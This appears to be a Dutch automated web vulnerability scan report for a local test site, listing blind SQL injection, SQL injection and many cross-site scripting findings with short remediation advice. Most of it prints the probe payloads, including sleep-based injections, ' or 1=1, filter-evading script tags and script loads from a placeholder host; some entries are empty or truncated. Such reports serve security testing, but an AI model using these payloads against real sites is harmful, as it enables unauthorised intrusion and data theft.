Scan Rapport

Algemene Informatie

Klant: example

Bedrijf: example-company

Email: example@email.nl

Scan Informatie

URL: http://localhost:8888

Server: Apache

Scan type: Full Scan

Start tijd: 2017-09-14 17:42:03

Eind tijd: 2017-09-14 17:43:57

Scan tijd: 2 minuten

Scan Resultaten

| Dreigingsniveau (Kleur code) | Niveau | Omschrijving | |
|------------------------------|--------|---|--|
| | 4 | Er zijn één of meer zeer zorgwekkende kwetsbaarheden op de website gevonden. De kans op exploitatie door hackers is zeer hoog. Hackers kunnen toegang krijgen tot het backend systeem en daarop de databases muteren. | |

Totale dreigementen gevonden

Hoog: 52

gemiddeld: 0

Laag: 0

| Categorie dreigementen | Dreigingsniveau | Aantal | Omschrijving |
|------------------------|-----------------|--------|--|
| BlindSQLi | hoog | 8 | Blind SQL Injections is een query injectie techniek waarbij de hacker True en False vragen stelt aan de database om te bepalen of een database kwetsbaar. |
| SQLi | hoog | 2 | SQL Injection is een query injectie techniek dat gebruikt wordt om software applicaties aan te vallen met SQL statements met als doel data uit een database op te vragen. |
| XSS | hoog | 42 | Cross-site scripting is een type kwetsbaarheid dat vooral gevonden wordt in webapplicaties. XSS maakt het mogelijk voor hackers om client-side scripting talen te injecteren op webpagina's. |

Advies: SQLi en Blind SQLi

SQL injectie is helaas nog steeds een veel voorkomende kwetsbaarheid. Maar gelukkig zijn er een aantal oplossingen hiervoor bedacht. Hieronder een lijst met simpele technieken om SQL injecties te verkomen.

Regels

- Gebruik maken van Prepared Statments
- Gebruik maken van opgeslagen procedures (zoals data)
- Een White List maken van toegestaande invoer
- Escaping van gebruikersinput.

Advies: XSS

Cross-site scripting is een veel voorkomende client-side kwetsbaarheid waarbij de aanvaller client-site code injecteert op webpagina. Er zijn twee basis regels waar een website aan moet voldoen om dit probleem te verkomen:

Regels

- Voer nooit onvertrouwde data in, behalve op toegestaande locaties
- Voordat de data wordt ingevoerd moet de HTML Escaped worden

ID: 847

Module: blindsql

Risico: high

Target URL: http://localhost:8888/index.php

Parameter: id

Aanval: sleep(10)#1

Error: http://localhost:8888/index.php?id=sleep%2810%29%231%0A

WASC ID: 19

Datum: 2017-09-14 17:42:23

ID: 848

Module: blindsql

Risico: high

Target URL: http://localhost:8888/index.php

Parameter: id

Aanval: sleep(10)#[LF]1

Error: http://localhost:8888/index.php?id=sleep%2810%29%23%5BLF%5D1%0A

WASC ID: 19

Datum: 2017-09-14 17:42:43

ID: 849

Module: blindsql Risico: high Target URL: http://localhost:8888/index.php Parameter: id Aanval: 1 or sleep(10)#1 Error: http://localhost:8888/index.php?id=1+or+sleep%2810%29%231%0A **WASC ID: 19** Datum: 2017-09-14 17:42:53 ID: 850 Module: blindsql Risico: high Target URL: http://localhost:8888/index.php Parameter: id Aanval: 1 or sleep(10)#[LF]1 Error: http://localhost:8888/index.php?id=1+or+sleep%2810%29%23%5BLF%5D1%0A **WASC ID: 19** Datum: 2017-09-14 17:43:03 **ID**: 851 Module: blindsql Risico: high Target URL: http://localhost:8888/index.php Parameter: id Aanval: 1 and sleep(10)#1 Error: http://localhost:8888/index.php?id=1+and+sleep%2810%29%231%0A **WASC ID: 19** Datum: 2017-09-14 17:43:14 ID: 852 Module: blindsql Risico: high Target URL: http://localhost:8888/index.php Parameter: id Aanval: 1 and sleep(10)#[LF]1 Error: http://localhost:8888/index.php?id=1+and+sleep%2810%29%23%5BLF%5D1%0A **WASC ID: 19** Datum: 2017-09-14 17:43:24 ID: 853

Module: blindsql Risico: high Target URL: http://localhost:8888/index.php Parameter: id Aanval: 1/**/or/**/sleep(10)#1 Error: http://localhost:8888/index.php?id=1%2F%2A%2A%2For%2F%2A%2A%2Fsleep%2810%29%231%0A **WASC ID: 19** Datum: 2017-09-14 17:43:42 ID: 854 Module: blindsql Risico: high Target URL: http://localhost:8888/index.php Parameter: id Aanval: 1/**/and/**/sleep(10)#1 Error: http://localhost:8888/index.php?id=1%2F%2A%2A%2Fand%2F%2A%2A%2Fsleep%2810%29%231%0A **WASC ID: 19** Datum: 2017-09-14 17:43:52 ID: 855 Module: sql Risico: high Target URL: http://localhost:8888/index.php Parameter: id Aanval: query=' Error: You have an error in your SQL syntax **WASC ID: 19** Datum: 2017-09-14 17:43:56 ID: 856 Module: sql Risico: high Target URL: http://localhost:8888/index.php Parameter: id Aanval: query=' or 1=1 **Error:** You have an error in your SQL syntax **WASC ID: 19** Datum: 2017-09-14 17:43:56 ID: 857

Module: xss Risico: high Target URL: http://localhost:8888/index.php Parameter: id Aanval: <script>alert('ej228hmkq3')</script> Error: This webpage is vulnerable for Cross site scripting WASC ID: 8 Datum: 2017-09-14 17:43:56 ID: 858 Module: xss Risico: high Target URL: http://localhost:8888/index.php Parameter: id Aanval: <script>alert("ej228hmkq3")</script> Error: This webpage is vulnerable for Cross site scripting WASC ID: 8 Datum: 2017-09-14 17:43:56 ID: 859 Module: xss Risico: high Target URL: http://localhost:8888/index.php Parameter: id Aanval: <ScRiPt>alert('ej228hmkq3')</sCrlpT> Error: This webpage is vulnerable for Cross site scripting WASC ID: 8 Datum: 2017-09-14 17:43:56 ID: 860 Module: xss Risico: high Target URL: http://localhost:8888/index.php Parameter: id Aanval: <ScRiPt>alert("ej228hmkq3")</sCrlpT> Error: This webpage is vulnerable for Cross site scripting WASC ID: 8 Datum: 2017-09-14 17:43:56 ID: 861

Module: xss Risico: high Target URL: http://localhost:8888/index.php Parameter: id Aanval: <script>String.fromCharCode(0,ej228hmkq3,1)</script> Error: This webpage is vulnerable for Cross site scripting WASC ID: 8 Datum: 2017-09-14 17:43:56 ID: 862 Module: xss Risico: high Target URL: http://localhost:8888/index.php Parameter: id Aanval: <ScRiPt>String.fromCharCode(0,ej228hmkq3,1)</sCrlpT> Error: This webpage is vulnerable for Cross site scripting WASC ID: 8 Datum: 2017-09-14 17:43:56 **ID**: 863 Module: xss Risico: high Target URL: http://localhost:8888/index.php Parameter: id Aanval: <script src=http://ej228hmkq3/x.js></script> Error: This webpage is vulnerable for Cross site scripting WASC ID: 8 Datum: 2017-09-14 17:43:56 ID: 864 Module: xss Risico: high Target URL: http://localhost:8888/index.php Parameter: id Aanval: <ScRiPt src=http://ej228hmkq3/x.js></sCrlpT> Error: This webpage is vulnerable for Cross site scripting WASC ID: 8 Datum: 2017-09-14 17:43:56 ID: 865

Module: xss Risico: high Target URL: http://localhost:8888/index.php Parameter: id Aanval: <script[TAB]src=http://ej228hmkq3/x.js></script> Error: This webpage is vulnerable for Cross site scripting WASC ID: 8 Datum: 2017-09-14 17:43:56 ID: 866 Module: xss Risico: high Target URL: http://localhost:8888/index.php Parameter: id Aanval: <ScRiPt[TAB]src=http://ej228hmkq3/x.js></sCrlpT> Error: This webpage is vulnerable for Cross site scripting WASC ID: 8 Datum: 2017-09-14 17:43:56 ID: 867 Module: xss Risico: high Target URL: http://localhost:8888/index.php Parameter: id Aanval: Error: This webpage is vulnerable for Cross site scripting WASC ID: 8 Datum: 2017-09-14 17:43:56 ID: 868 Module: xss Risico: high Target URL: http://localhost:8888/index.php Parameter: id Aanval: Error: This webpage is vulnerable for Cross site scripting WASC ID: 8 Datum: 2017-09-14 17:43:56 **ID**: 869

Module: xss Risico: high Target URL: http://localhost:8888/index.php Parameter: id **Aanval:** Error: This webpage is vulnerable for Cross site scripting WASC ID: 8 Datum: 2017-09-14 17:43:56 ID: 870 Module: xss Risico: high Target URL: http://localhost:8888/index.php Parameter: id Aanval: <img[TAB]src=.[TAB]onerror=String.fromCharCode(0,ej228hmkq3,1)> Error: This webpage is vulnerable for Cross site scripting WASC ID: 8 Datum: 2017-09-14 17:43:56 **ID**: 871 Module: xss Risico: high Target URL: http://localhost:8888/index.php Parameter: id Aanval: Error: This webpage is vulnerable for Cross site scripting WASC ID: 8 Datum: 2017-09-14 17:43:56 ID: 872 Module: xss Risico: high Target URL: http://localhost:8888/index.php Parameter: id Aanval: <img src=javascript:alert(ɾj228hml Error: This webpage is vulnerable for Cross site scripting WASC ID: 8 Datum: 2017-09-14 17:43:56

ID: 873 Module: xss Risico: high Target URL: http://localhost:8888/index.php Parameter: id Aanval: <img[TAB]src=javascript:alert(Error: This webpage is vulnerable for Cross site scripting WASC ID: 8 Datum: 2017-09-14 17:43:57 **ID**: 874 Module: xss Risico: high Target URL: http://localhost:8888/index.php Parameter: id Aanval: <script >alert('ej228hmkq3')</script > Error: This webpage is vulnerable for Cross site scripting WASC ID: 8 Datum: 2017-09-14 17:43:57 **ID**: 875 Module: xss Risico: high Target URL: http://localhost:8888/index.php Parameter: id Aanval: <script >alert("ej228hmkq3")</script > Error: This webpage is vulnerable for Cross site scripting WASC ID: 8 Datum: 2017-09-14 17:43:57 ID: 876 Module: xss Risico: high Target URL: http://localhost:8888/index.php Parameter: id Aanval: <script >String.fromCharCode(0,ej228hmkq3,1)</script > Error: This webpage is vulnerable for Cross site scripting WASC ID: 8

Datum: 2017-09-14 17:43:57 **ID**: 877 Module: xss Risico: high Target URL: http://localhost:8888/index.php Parameter: id Aanval: <ScRiPt >String.fromCharCode(0,ej228hmkq3,1)</sCrlpT> Error: This webpage is vulnerable for Cross site scripting WASC ID: 8 Datum: 2017-09-14 17:43:57 ID: 878 Module: xss Risico: high Target URL: http://localhost:8888/index.php Parameter: id Aanval: <ScRiPt[TAB]>String.fromCharCode(0,ej228hmkq3,1)</[TAB]sCrlpT> Error: This webpage is vulnerable for Cross site scripting WASC ID: 8 Datum: 2017-09-14 17:43:57 **ID**: 879 Module: xss Risico: high Target URL: http://localhost:8888/index.php Parameter: id Aanval: <script/>alert('ej228hmkq3')</script/> **Error:** This webpage is vulnerable for Cross site scripting WASC ID: 8 Datum: 2017-09-14 17:43:57 ID: 880 Module: xss Risico: high Target URL: http://localhost:8888/index.php Parameter: id Aanval: <script/>alert("ej228hmkq3")</script/> Error: This webpage is vulnerable for Cross site scripting WASC ID: 8

Datum: 2017-09-14 17:43:57 ID: 881 Module: xss Risico: high Target URL: http://localhost:8888/index.php Parameter: id Aanval: <ScRiPt/>alert('ej228hmkq3')</sCrlpT/> Error: This webpage is vulnerable for Cross site scripting WASC ID: 8 Datum: 2017-09-14 17:43:57 ID: 882 Module: xss Risico: high Target URL: http://localhost:8888/index.php Parameter: id Aanval: <ScRiPt/>alert("ej228hmkq3")</sCrlpT/> Error: This webpage is vulnerable for Cross site scripting WASC ID: 8 Datum: 2017-09-14 17:43:57 ID: 883 Module: xss Risico: high Target URL: http://localhost:8888/index.php Parameter: id Aanval: <script/ src=http://ej228hmkq3/x.js></script/> **Error:** This webpage is vulnerable for Cross site scripting WASC ID: 8 Datum: 2017-09-14 17:43:57 ID: 884 Module: xss Risico: high Target URL: http://localhost:8888/index.php Parameter: id Aanval: <ScRiPt/ src=http://ej228hmkq3/x.js></sCrlpT/> Error: This webpage is vulnerable for Cross site scripting WASC ID: 8

Datum: 2017-09-14 17:43:57 ID: 885 Module: xss Risico: high Target URL: http://localhost:8888/index.php Parameter: id Aanval: <scr<script>ipt>alert('ej228hmkq3')</script> Error: This webpage is vulnerable for Cross site scripting WASC ID: 8 Datum: 2017-09-14 17:43:57 ID: 886 Module: xss Risico: high Target URL: http://localhost:8888/index.php Parameter: id Aanval: <scr<script>ipt>alert('ej228hmkq3')</scr</script>ipt> Error: This webpage is vulnerable for Cross site scripting WASC ID: 8 Datum: 2017-09-14 17:43:57 **ID**: 887 Module: xss Risico: high Target URL: http://localhost:8888/index.php Parameter: id Aanval: <scr<script>ipt>alert("ej228hmkq3")</script> **Error:** This webpage is vulnerable for Cross site scripting WASC ID: 8 Datum: 2017-09-14 17:43:57 ID: 888 Module: xss Risico: high Target URL: http://localhost:8888/index.php Parameter: id Aanval: <scr<script>ipt>alert("ej228hmkq3")</scr</script>ipt> Error: This webpage is vulnerable for Cross site scripting WASC ID: 8

Datum: 2017-09-14 17:43:57 ID: 889 Module: xss Risico: high Target URL: http://localhost:8888/index.php Parameter: id Aanval: <scr<script>ipt>String.fromCharCode(0,ej228hmkq3,1)</script> Error: This webpage is vulnerable for Cross site scripting WASC ID: 8 Datum: 2017-09-14 17:43:57 ID: 890 Module: xss Risico: high Target URL: http://localhost:8888/index.php Parameter: id Aanval: <scr<script>ipt>String.fromCharCode(0,ej228hmkq3,1)</scr</script>ipt> Error: This webpage is vulnerable for Cross site scripting WASC ID: 8 Datum: 2017-09-14 17:43:57 **ID**: 891 Module: xss Risico: high Target URL: http://localhost:8888/index.php Parameter: id Aanval: <scr<script>ipt src=http://ej228hmkq3/x.js></script> **Error:** This webpage is vulnerable for Cross site scripting WASC ID: 8 Datum: 2017-09-14 17:43:57 ID: 892 Module: xss Risico: high Target URL: http://localhost:8888/index.php Parameter: id Aanval: <scr<script>ipt src=http://ej228hmkq3/x.js></scr</script>ipt> Error: This webpage is vulnerable for Cross site scripting WASC ID: 8

Datum: 2017-09-14 17:43:57 ID: 893 Module: xss Risico: high Target URL: http://localhost:8888/index.php Parameter: id Aanval: <object data="javascript:alert('ej228hmkq3')"> Error: This webpage is vulnerable for Cross site scripting WASC ID: 8 Datum: 2017-09-14 17:43:57 ID: 894 Module: xss Risico: high Target URL: http://localhost:8888/index.php Parameter: id Aanval: <object data=javascript:String.fromCharCode(0,ej228hmkq3,1)> Error: This webpage is vulnerable for Cross site scripting WASC ID: 8 Datum: 2017-09-14 17:43:57 ID: 895 Module: xss Risico: high Target URL: http://localhost:8888/index.php Parameter: id Aanval: <object[TAB]data=javascript:String.fromCharCode(0,ej228hmkq3,1)> **Error:** This webpage is vulnerable for Cross site scripting WASC ID: 8 Datum: 2017-09-14 17:43:57 ID: 896 Module: xss Risico: high Target URL: http://localhost:8888/index.php Parameter: id Aanval: <object><param name=x value=javascript:alert('ej228hmkq3')></object> Error: This webpage is vulnerable for Cross site scripting WASC ID: 8

Datum: 2017-09-14 17:43:57

ID: 897

Module: xss

Risico: high

Target URL: http://localhost:8888/index.php

Parameter: id

Aanval: <object><param name=x value=javascript:alert("ej228hmkq3")></object>

Error: This webpage is vulnerable for Cross site scripting

WASC ID: 8

Datum: 2017-09-14 17:43:57

ID: 898

Module: xss

Risico: high

Target URL: http://localhost:8888/index.php

Parameter: id

Aanval: <object><param name=x value=javascript:String.fromCharCode(0,ej228hmkq3,1)></object>

Error: This webpage is vulnerable for Cross site scripting

WASC ID: 8

Datum: 2017-09-14 17:43:57